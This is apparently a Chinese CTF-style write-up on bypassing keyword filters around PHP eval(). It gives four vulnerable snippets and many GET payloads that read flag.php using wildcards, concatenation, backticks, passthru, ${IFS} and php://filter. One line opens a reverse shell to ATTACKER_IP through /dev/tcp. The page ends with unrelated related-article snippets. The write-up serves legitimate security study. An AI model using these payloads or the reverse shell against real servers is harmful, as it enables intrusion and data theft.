RCE复现

1.过滤flag

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);

代码审计过滤了"flag"关键词,但限制较弱,容易绕过

?c=system("ls");  // 列出目录
?c=system("cat fla*");  // 使用通配符绕过flag过滤
?c=system("cat fl"."ag.php");
?c=$a="fl";$b="ag";system("cat $a$b.php");
?c=system("cat `echo fl\"ag.php`");  // 使用反引号
?c=echo file_get_contents('fl'.'ag.php');
?c=highlight_file('fl'.'ag.php');
?c=exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");

 2.过滤flag/system/php

 <?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
} 

 代码审计滤掉了flag、system与php。把system函数替换为其他具有类似功能的函数,php可以使用通配符

?c=echo `ls`;
?c=echo `cat fl*`;
payload:?c= echo `tac fl'ag'.p'hp'`;
使用内置函数
?c=print_r(scandir('.'));
?c=var_dump(file('fla*'));
?c=show_source('fla'.'g.php');
字符串拼接或者编码
?c=$a='fl';$b='ag';echo file_get_contents($a.$b.'.php');
?c=readfile('fl'.'ag.php');
?c=highlight_file('fl'.'ag.php');

   3.过滤flag/system/php|cat|sort|shell|\.|

 <?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
} 

代码审计.过滤flag/system/php|cat|sort|shell|\.|

绕过思路使用未过滤的命令执行函数;

?c=passthru($_GET[a]);&a=cat flag.php
?c=echo%09`tac%09f*`;
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

 4.常见过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
} 

 代码审计

代码过滤了flagsystemphpcatsortshellecho

      ., (空格), '\``, ;(:"<=/`

                   0-9

绕过思路:过滤了空格可以用${IFS}%0a 代替,分号可以用?>代替 但是过滤了括号之后就不能用带有括号的函数,php中include是可以不带括号的函数

?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/76141.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FPGA_YOLO(四) 部署yolo HLS和Verilog 分别干什么

首先,YOLO作为深度学习模型,主要包括卷积层、池化层、全连接层等。其中,卷积层占据了大部分计算量,尤其适合在FPGA上进行并行加速。而像激活函数(如ReLU)和池化层相对简单,可能更容易用HLS实现。FPGA的优势在于并行处理和定制化硬件加速,因此在处理这些计算密集型任务时…

自动化发布工具CI/CD实践Jenkins介绍!

1. 认识Jenkins 1.1 Jenkins是什么&#xff1f; Jenkins 是一个开源的自动化服务器&#xff0c;主要用于持续集成和持续部署&#xff08;CI/CD&#xff09;。 它由Java编写&#xff0c;因此它可以在Windows、Linux和macOS等大多数操作系统上运行。 Jenkins 提供了一个易于使用…

【愚公系列】《高效使用DeepSeek》039-政务工作辅助

🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! 👉 江湖人称"愚公搬代码",用七年如一日的精神深耕技术领域,以"…

深度学习篇---模型训练评估参数

文章目录 前言一、Precision&#xff08;精确率&#xff09;1.1定义1.2意义1.3数值接近11.4数值再0.5左右1.5数值接近0 二、Recall&#xff08;召回率&#xff09;2.1定义2.2意义2.3数值接近12.4数值在0.5左右2.5数值接近0 三、Accuracy&#xff08;准确率&#xff09;3.1定义3…

Windows 图形显示驱动开发-WDDM 2.4功能-GPU 半虚拟化(十一)

注册表设置 GPU虚拟化标志 GpuVirtualizationFlags 注册表项用于设置半虚拟化 GPU 的行为。 密钥位于&#xff1a; DWORD HKLM\System\CurrentControlSet\Control\GraphicsDrivers\GpuVirtualizationFlags 定义了以下位&#xff1a; 位描述0x1 ​ 为所有硬件适配器强制设置…

Vue 的 nextTick 是如何实现的?

参考答案&#xff1a; nextTick 的本质将回调函数包装为一个微任务放入到微任务队列&#xff0c;这样浏览器在完成渲染任务后会优先执行微任务。 nextTick 在 Vue2 和 Vue3 里的实现有一些不同&#xff1a; 1. Vue2 为了兼容旧浏览器&#xff0c;会根据不同的环境选择不同包装策…

安卓开发之LiveData与DataBinding

LiveData——生命周期感知 LiveData 是 Android Jetpack 提供的一个生命周期感知的数据持有者类&#xff0c;它可以用于持有数据并在数据发生变化时通知观察者。LiveData 常与 ViewModel 配合使用&#xff0c;帮助简化 UI 层和数据层之间的交互&#xff0c;确保 UI 在合适的生…

TCP协议与wireshark抓包分析

一、tcp协议格式 1. 源端口号 &#xff1a; 发送方使用的端口号 2. 目的端口号 &#xff1a; 接收方使用的端口号 3. 序号: 数据包编号 &#xff0c; tcp 协议为每个数据都设置编号,用于确认是否接收到相应的包 4. 确认序列号 : 使用 tcp 协议接收到数据包&#xff0c…

《HelloGitHub》第 108 期

兴趣是最好的老师&#xff0c;HelloGitHub 让你对开源感兴趣&#xff01; 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等&#xff0c;涵盖多种编程语言 Python、…

VITA 模型解读,实时交互式多模态大模型的 pioneering 之作

写在前面:实时交互llm 今天回顾一下多模态模型VITA,当时的背景是OpenAI 的 GPT-4o 惊艳亮相,然而,当我们将目光投向开源社区时,却发现能与之匹敌的模型寥寥无几。当时开源多模态大模型(MLLM),大多在以下一个或多个方面存在局限: 模态支持不全:大多聚焦于文本和图像,…

VLAN的高级特性

前言&#xff1a; 1&#xff1a;华为VLAN聚合通过逻辑分层设计&#xff0c;将广播域隔离与子网共享结合&#xff0c;既解决了IP地址浪费问题&#xff0c;又实现了灵活的网络管理 2&#xff1a;MUX VLAN&#xff08;Multiplex VLAN&#xff09;提供了一种通过VLAN进行网络资源控…

制作cass高程点块定义——cad c#二次开发——待调试

public class Demo{[CommandMethod("xx")]public void Demo1(){using var tr1 new DBTrans();var doc Application.DocumentManager.MdiActiveDocument; var db doc.Database;var ed doc.Editor;var 圆心 new Point3d(0, 0, 0); var 半径 10.0;using (var tr …

pod几种常用状态

在 Kubernetes 中&#xff0c;Pod 是最小的可部署单元&#xff0c;Pod 的状态反映了其当前的运行状况。以下是几种常见的 Pod 状态&#xff1a; 1. Pending 描述: Pod 已被 Kubernetes API Server 接收并创建&#xff0c;但还没有开始运行在任何节点上。原因: Pod 资源不足&a…

04 单目标定实战示例

看文本文,您将获得以下技能: 1:使用opencv进行相机单目标定实战 2:标定结果参数含义和数值分析 3:Python绘制各标定板姿态,查看图像采集多样性 4:如果相机画幅旋转90,标定输入参数该如何设置? 5:图像尺寸缩放,标定结果输出有何影响? 6:单目标定结果应用类别…

DevEco Studio编辑器的使用-代码code Linter检查

Code Linter代码检查 Code Linter针对ArkTS/TS代码进行最佳实践/编程规范方面的检查。检查规则支持配置&#xff0c;配置方式请参考配置代码检查规则。 开发者可根据扫描结果中告警提示手工修复代码缺陷&#xff0c;或者执行一键式自动修复&#xff0c;在代码开发阶段&#x…

wokwi arduino mega 2560 - 模数与数模转换AD和DA

截图&#xff1a; 20.53 黄灯灭 不报警 205.77 黄灯亮 报警 链接&#xff1a; https://wokwi.com/projects/415345595312267265 代码&#xff1a; 详细注释版&#xff1a;AD和I2C仿真实验案例程序 cpp #include <LiquidCrystal_I2C.h>// 定义I2C地址和LCD的行列数 #de…

如何使不同的窗体控件,适应不同分辨率的屏幕?

问题 当屏幕分辨率提高或降低时&#xff0c;原分辨率显示正常的控件&#xff0c;将变得很小或很大&#xff0c;字体也变得太大或太小。 解决办法 当分辨率变化时&#xff0c;采用递归的方法&#xff0c;对所有的控件放大或缩小。 public static void MainForm_Load(object s…

虚拟机(一):Java 篇

虚拟机&#xff08;一&#xff09;&#xff1a;Java 篇 虚拟机&#xff08;二&#xff09;&#xff1a;Android 篇 架构 运行时数据区&#xff1a; 栈&#xff1a; 堆&#xff1a; 堆&#xff1a;通过new创建的对象都在堆中分配。OutOfMemoryError TLAB(Thread Local All…

硬件基础--14_电功率

电功率 电功率:指电流在单位时间内做的功(表示用电器消耗电能快慢的一个物理量)。 单位:瓦特(W)&#xff0c;简称瓦。 公式:PUI(U为电压&#xff0c;单位为V&#xff0c;i为电流&#xff0c;单位为A&#xff0c;P为电功率&#xff0c;单位为W)。 单位换算:进位为1000&#xff…

更高的效率——MyBatis-plus

一、什么是MyBatis-plus&#xff1f; MyBatis-plus是MyBatis的增强工具&#xff0c;在MyBatis基础上只做增强不做改变&#xff0c;可以简化基础的CRUD操作&#xff08;通过继承 BaseMapper 接口可直接使用预定义的增删改查方法&#xff09; 二、MyBatis-plus快速入门 2.1 准备…